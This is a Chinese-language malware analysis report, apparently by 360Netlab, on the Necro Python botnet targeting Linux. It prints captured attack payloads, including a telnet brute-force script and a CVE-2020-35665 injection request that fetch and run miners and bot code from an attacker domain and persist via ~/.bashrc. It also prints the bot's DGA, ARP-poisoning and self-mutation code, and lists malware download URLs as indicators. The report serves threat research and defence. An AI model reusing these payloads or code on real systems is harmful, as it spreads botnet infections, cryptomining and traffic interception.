Necro在频繁升级，新版本开始使用PyInstaller和DGA

概述

Necro是一个经典的Python编写的botnet家族，最早发现于2015年，早期针对Windows系统，常被报为Python.IRCBot，作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号起，360Netlab的BotMon系统持续检测到该家族的新变种，先后有3个版本的样本被检测到，它们均针对Linux系统，并且最新的版本使用了DGA技术来生成C2域名对抗检测。本文将对最近发现的Necro botnets做一分析。

本文的关键点如下：
1，Necro最新版的感染规模在万级，并且处于上升趋势。
2，在传播方式上，Necro支持多种方式，并且持续集成新公开的1-day漏洞，攻击能力较强。
3，最新版Necro使用了DGA技术生成C2域名，Python脚本也经过重度混淆以对抗静态分析。
4，目前传播的不同版本Necro botnet背后为同一伙人，并且主要针对Linux设备。
5，最新的2个版本为了确保能在没有Python2的受害机器上执行，会同时分发使用PyInstaller打包过的Python程序。

在撰写本文时,我们注意到先后有2家安全厂商报道了Necro botnet及其团伙[PythonCryptoMinter][FreakOut]，但他们描述的均是已经停止传播的第2个版本，本文将描述更多的关于Necro的内容。

捕获

Necro支持多种传播方式，其中2种被我们的Anglerfish蜜罐系统成功捕获到：一种是传统的telnet弱口令爆破，另一种是1-day 漏洞(CVE-2020-35665)。捕获记录如下：

下面是实际捕获到的利用telnet弱口令传播第3版时的payload：

root
password
enable
system
shell
sh
echo -e '\x41\x4b\x34\x37'
wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050";LINE="killall -9 .sshd||pkill -9 .sshd_;[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &";grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc;curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;mv -f .sshd_ .sshd_;chmod 777 .sshd_;curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;mv -f xmrig .sshd;chmod 777 .sshd;chmod +x ~/.bashrc;~/.bashrc;cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));";curl http://aveixucyimxwcmph.xyz/.benchmark -O;curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));";wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;chmod 777 .benchmark.py;chmod 777 .benchmark;python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py & 

下面是实际捕获到的利用 1-day漏洞CVE-2020-35665传播第3版时的payload：

GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050"
LINE="killall -9 .sshd||pkill -9 .sshd_
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_
mv -f .sshd_ .sshd_
chmod 777 .sshd_
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig
mv -f xmrig .sshd
chmod 777 .sshd
chmod +x ~/.bashrc
~/.bashrc

cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));"
curl http://aveixucyimxwcmph.xyz/.benchmark -O
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O
php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));"
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py

从上面的payload可以看到exp除了下载并执行原始的Python脚本（.benchmark.py），还会尝试下载并执行PyInstaller打包后的ELF文件（.benchmark），这是作者自第2版开始引入的手法，目的是为了提高执行成功率。因为Python 2已经到达EOL(end-of-life)，有些受害者机器上缺乏这个运行环境，而使用Pyinstaller打包后的Python程序将成为独立的ELF，即使目标机器上没有Python环境也可以正常执行。

值得说明的是漏洞CVE-2020-35665公开于2020年12月23日，距离我们首次捕获它的利用只有8天，可见作者对新漏洞的使用非常“积极”。

另外，除了Necro样本，上面的exp还会下载挖矿程序xmrig和xmrig1，利用360netlab其它维度的数据，我们发现同样的download server还曾用于mirai和一些Windows恶意exe程序的下载，说明Necro的作者同时在运营多个家族的botnet：

感染规模

根据360netlab的DNSMon数据我们对第2和第3版的2个C2域名解析情况做了统计，以此来评估感染规模。根据下面的2个统计，我们能看到这两域名的unique客户端数均为2位数，考虑到数据采集位置的区别，真实的流量大概是我们统计的500～700倍，所以它们实际的规模均应该在万级。

下面是第2版C2域名的解析统计，能看到这个域名已经过了稳定期，处于下降状态。

下面是第3版域名的解析统计，能看到解析量在上升，说明这个版本还处于发展阶段。

样本分析

通过分析，我们发现2021年捕获的Necro样本可以分为3个版本，每个版本之间在传播方式、代码混淆和C2保存方面均有明显的区别，其中第1版 （necr0.py）到第2版（out.py）主要是代码结构上的调整，混淆度有所增加。同时第2版开始采用PyInstaller方式把Python程序打包成ELF。从第2版到第3版差别有所加大，不但代码混淆度显著增加，C2也从硬编码域名变成了使用DGA算法。此外，在传播方式上第3版也增加了一些n-day漏洞。

第1版

因为第1版被作者命名为necro.py，所以我们把该家族命名为Necro。在代码混淆上，第1版只是部分代码做了混淆处理：

它的C2信息只是简单编码保存，经过若干次逆向解码可以容易的得到：

irc server: '45.145.185.229'
channel: '#necro'
key: 'm0rph'

原始样本中可以发现可读的DDoS攻击相关的命令串：

从这些命令串可以看出Necro是一个用于DDoS攻击的botnet，C2协议基于IRC，支持的攻击方式既包括常见的udpflood、synflood、slowloris、httpflood这些，也包括在botnet中不常见的amp反射攻击。

第2版

第2版（out.py）和第1版的混淆程度相当，但在漏洞利用上有变化，加入了Zend Framework (known as CVE-2021-3007)：

值得说明的是该漏洞2021年1月4日才曝光，这再次说明Necro的作者在利用新漏洞方面非常“积极”。

在C2存放方面，第2版同样使用了简单编码保存：

irc server: 'gxbrowser.net'
channel: '#update'
key: 'N3Wm3W'

第3版

第3版的被检测到用benchmark.py名称传播。相比前两个版本，第3版最大的变化是使用DGA来生成C2域名，具体算法参考后面的DGA代码，下面是模拟该算法产生的部分域名:

avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
suBYdZaoqwveKRlQ.xyz
...

通过360netlab的DNSMon系统，我们看到该DGA算法产生的第1个域名aveixucyimxwcmph.xyz已经启用，并且被用作下载服务器的域名。下面是该域名的详细信息：

2021-01-11 11:49:28	2021-01-20 03:47:28	372	aveixucyimxwcmph.xyz	A	193.239.147.224	
2021-01-11 20:11:02	2021-01-11 20:11:03	2	aveixucyimxwcmph.xyz	TXT	"v=spf1 include:spf.efwd.registrar-servers.com ~all"	
2021-01-11 20:11:01	2021-01-11 20:11:03	3	aveixucyimxwcmph.xyz	MX	eforward4.registrar-servers.com	
2021-01-11 20:11:01	2021-01-11 20:11:03	3	aveixucyimxwcmph.xyz	MX	eforward5.registrar-servers.com	
2021-01-11 20:11:01	2021-01-11 20:11:03	3	aveixucyimxwcmph.xyz	MX	eforward2.registrar-servers.com	
2021-01-11 20:11:01	2021-01-11 20:11:03	3	aveixucyimxwcmph.xyz	MX	eforward1.registrar-servers.com	
2021-01-11 20:11:01	2021-01-11 20:11:03	3	aveixucyimxwcmph.xyz	MX	eforward3.registrar-servers.com

2021年1月20号，在最新的第3版样本中作者又对DGA算法做了修改，将种子从3种修改为4096种，同时开始使用SSL加密通信数据。

第3版的另一个变化是代码混淆的更严重了，不仅所有自定义对象全部被替换成随机字符，连字符串也被用base64.encode(zlib.compress(plain_string))这种方式做了编码，导致样本中不再有可读的、有意义的字符串，如下图所示：

在传播方式上，第3版增加了更多的漏洞利用，这一点可以从解码后的字符串看出来：

在支持的DDoS攻击方法方面第3版没有变化，只是命令串被做了编码处理，解码后的DDoS命令串如下：

样本溯源

通过第1版样本的版本信息我们可以看到Necro早在2015年就已开发，作者称之为N3Cr0m0rPh (Necromorph)。

利用这些信息，我们从样本库里关联到一批针对 Windows平台的早期Necro样本，都是exe文件，这批样本刚好也可以追溯到2015年，跟第1版中的版本信息吻合。从这些线索可以推断Necro首先针对的是Windows平台，然后也许是Python程序天然的跨平台特性，抑或现网大量存在漏洞的Linux机器（IoT设备、云服务器等），启发Necro作者用去攻击Linux设备。无论如何，现在Linux malware大军中又多了新的一员：Necro。

其它

因为部分Necro样本以PyInstaller打包方式分发，下面简单介绍如何通过解包、反编译、解混淆等手段还原出可读的.py脚本。

• 解包

以第3版为例，用开源工具pyinstxtractor解包从ELF样本中提取的pydata数据后可以得到原始python脚本依赖的.so动态库、python库以及字节码文件.benchmark.pyc。

• 反编译pyc

利用uncompyle6反编译 .pyc字节码可以得到最终的python脚本。通过对比来自同一downloader的python脚本.benchmark.py，发现其跟反编译出的.py脚本相同，所以断定.benchmark.py就是打包前的原始脚本。

• 字符串解密

Necro使用简单的“zip压缩+异或加密”方法隐藏字符串, 下面这段代码示范了解码过程：先解压再异或即可得到被隐藏的字符串'8.8.8.8' ：

xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68'))  

def xor_crypt(s):     
    xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]     
    return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ]) 

• 动态变形

python脚本启动后会先调用repack()函数对当前的文件进行变形，变形的算法是依次从obj_name_list表（表中保存了文件中自定义的对象名称）中取出一个对象名称(可能是类，变量名，函数名)，然后产生一个8位的随机字串，用这个8位的随机字串替换文件中对应的对象名称，结果就是原始文件中再也找不到可读的对象名称了。因为这种做法是不可逆的，我们只能从代码功能上推测每个函数和变量的含义，参考早期版本的代码，我们基本搞楚了代码的功能。

def __init__(self):
    ...
    self.repack() #repack bot before we install
    self.install() #Install

def repack(self):
    try:
        fh_myself=open(argv[0],"r")
        _pyload=fh_myself.read()
        fh_myself.close()
        obj_name_list=['localhost_irc','gen_random_8char'....]
        for obj_name in obj_name_list:
            _pyload=_pyload.replace(obj_name,self.gen_random_8char(8))
        new_fh_myself=open(argv[0],"w")
        new_fh_myself.write(_pyload)
        new_fh_myself.close()
    except:
        pass

• ARP欺骗和流量嗅探

比较有意思的Necro还支持ARP投毒和网络流量嗅探。ARP欺骗是为了把受害者机器伪装成网关，代码如下所示。

def create_pkt_arp_poison():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
    s.bind(("wlan0", 0))
    
    while(1):
        for lmfao in getPoisonIPs():
            src_addr = get_src_mac()
            dst_addr = lmfao[0]
            src_ip_addr = get_default_gateway_linux()
            dst_ip_addr = lmfao[1]
            dst_mac_addr = "\x00\x00\x00\x00\x00\x00"
            payload = "\x00\x01\x08\x00\x06\x04\x00\x02"
            checksum = "\x00\x00\x00\x00"
            ethertype = "\x08\x06"
            s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr
                + dst_mac_addr + dst_ip_addr + checksum)
        time.sleep(2)

这段buggy代码会在一个单独的线程种执行，每隔2秒读取一遍/proc/net/arp以获取最新的ARP邻居，然后冒充网关给它们发送ARP回应，目的是使对方相信所运行的机器就是网关。作者这么做可能是为了实现中间人劫持，但目前还没看到更多的中间人通信相关代码，猜测该功能尚处于开发中。

嗅探主要针对受害者机器的TCP通信流量，该功能受C2指令（.sniffer-resume）控制。一旦开启，所有非以下端口的TCP流量都会被记录并上报给C2的1337端口：“1337, 6667, 23, 443, 37215, 53, 22”。

• C2基础设施

从第3版的C2域名aveixucyimxwcmph.xyz出发，我们通过图系统成功的把3个版本的C2都关联起来，如下图所示：

其中，第2版的C2域名gxbrowser.net也曾解析到过第1版的C2  45.145.185.229上，而第3版的C2域名aveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过，这些说明目前的3个版本Necro botnet背后的作者应该是同一伙人。

值得说明的是所有的Necro相关域名都已被360netlab的DNSmon系统拦截。

结论

Necro是一个相对较老的Python恶意程序，但作者通过采用代码混淆、PyInstaller打包、集成DGA和新漏洞等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet，可谓“老树新春”。考虑到作者在不到一个月的时间内接连推出了3个版本，我们相信该家族目前处于持续活跃期中，相信后面还会不断发起新的攻击。360BotMon系统将持续对该家族保持关注，并会即使公布新的威胁信息。

如果需要帮助，欢迎通过netlab@360.cn联系我们。

版权声明

本文为Netlab Jinye原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。

IoC

C2

45.145.185.83
193.239.147.224
gxbrowser.net
aveixucyimxwcmph.xyz

Download URL

# 第1版 
 http://45.145.185.229/necr0.py

# 第2版
 http://gxbrowser.net/out
 http://gxbrowser.net/out.py

# 第3版
 http://aveixucyimxwcmph.xyz/.benchmark
 http://aveixucyimxwcmph.xyz/.benchmark.py

#　其它样本
 http://gxbrowser.net/xmrig
 http://gxbrowser.net/xmrig1
 http://aveixucyimxwcmph.xyz/xmrig1
 http://45.145.185.229/bins/nginx.html/keksec.x86
 http://45.145.185.229/bins/nginx.html/keksec.spc
 http://45.145.185.229/bins/nginx.html/keksec.sh4
 http://45.145.185.229/bins/nginx.html/keksec.ppc
 http://45.145.185.229/bins/nginx.html/keksec.mpsl
 http://45.145.185.229/bins/nginx.html/keksec.mips
 http://45.145.185.229/bins/nginx.html/keksec.m68k
 http://45.145.185.229/bins/nginx.html/keksec.i586
 http://45.145.185.229/bins/nginx.html/keksec.arm
 http://45.145.185.229/bins/nginx.html/keksec.arm7
 http://45.145.185.229/bins/nginx.html/keksec.arm5
 http://45.145.185.229/bins/keksec.x88_64
 http://45.145.185.229/bins/keksec.x86
 http://45.145.185.229/bins/keksec.x64
 http://45.145.185.229/bins/keksec.spc
 http://45.145.185.229/bins/keksec.sh4
 http://45.145.185.229/bins/keksec.ppc
 http://45.145.185.229/bins/keksec.mpsl
 http://45.145.185.229/bins/keksec.mips
 http://45.145.185.229/bins/keksec.mips64
 http://45.145.185.229/bins/keksec.m68k
 http://45.145.185.229/bins/keksec.i586
 http://45.145.185.229/bins/keksec.arm
 http://45.145.185.229/bins/keksec.arm7
 http://45.145.185.229/bins/keksec.arm5
 http://45.145.185.229/update.sh

DGA 算法

import random

def gen_random_str(_range):
    return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))

def gen_cc(time):
    random.seed(a=5236442 + time)
    return gen_random_str(16) + '.xyz'

def gen_DGA():
    i = 0
    while 1:
        for _ in range(3):
            try:
                print(gen_cc(i))
            except:
                pass
        if i >= 2048:
            i = 0
        i += 1

gen_DGA()

C2解密算法

self.irc_server=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server

self.server_port=6667 #Server port

self.channel=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel

self.channel_key==b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key

引用

• https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/
• https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
• https://nvd.nist.gov/vuln/detail/CVE-2020-28188
• https://nvd.nist.gov/vuln/detail/CVE-2021-3007
• https://nvd.nist.gov/vuln/detail/CVE-2020-7961